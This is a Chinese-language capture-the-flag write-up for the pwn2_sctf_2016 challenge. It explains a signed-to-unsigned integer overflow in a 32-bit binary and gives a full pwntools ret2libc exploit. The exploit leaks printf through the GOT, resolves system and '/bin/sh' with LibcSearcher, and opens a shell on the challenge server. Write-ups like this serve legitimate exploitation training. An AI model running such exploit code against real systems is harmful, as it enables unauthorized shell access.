解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:[[利用got表和plt表泄露数据]] printf
- BSS段地址:无需
劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
获得shell或flag:[[劫持返回地址]] && [[调用libc中的system]]
学到的知识:
[[整数溢出的利用]]
[[LibcSearcher的使用]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file pwn2_sctf_2016
pwn2_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b6d53bc9aca0e73953173f153dc75bd540d6a48, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn2_sctf_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74) Symbols No 0 1 pwn2_sctf_2016
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
int __cdecl get_n(int a1, unsigned int a2)
{
unsigned int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
v4 = getchar();
if ( !v4 || v4 == 10 || i >= a2 )
break;
v2 = i;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + i;
*(_BYTE *)(a1 + i) = 0;
return result;
}
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(nptr, v2);//第二个参数为无符号整型
return printf("You said: %s\n", nptr);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
分析:
利用负数在转化为无符号整数时,可以变大。然后就可以利用栈溢出了!
脚本:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./pwn2_sctf_2016'
#sh=process(pwnfile)
sh=remote('node4.buuoj.cn',29939)
elf = ELF(pwnfile)
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
sh.recvuntil('How many bytes do you want me to read? ')
sh.sendline('-1')
sh.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
sh.sendline(payload)
sh.recvuntil('\n')
printf_addr=u32(sh.recv(4))
libc=LibcSearcher('printf',printf_addr)
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
print("printf:",hex(printf_addr))
print("base_addr:",hex(offset))
print("bin_sh_addr:",hex(bin_sh))
print("system_addr:",hex(system))
sh.recvuntil('How many bytes do you want me to read?')
sh.sendline('-1')
sh.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
sh.sendline(payload)
sh.interactive()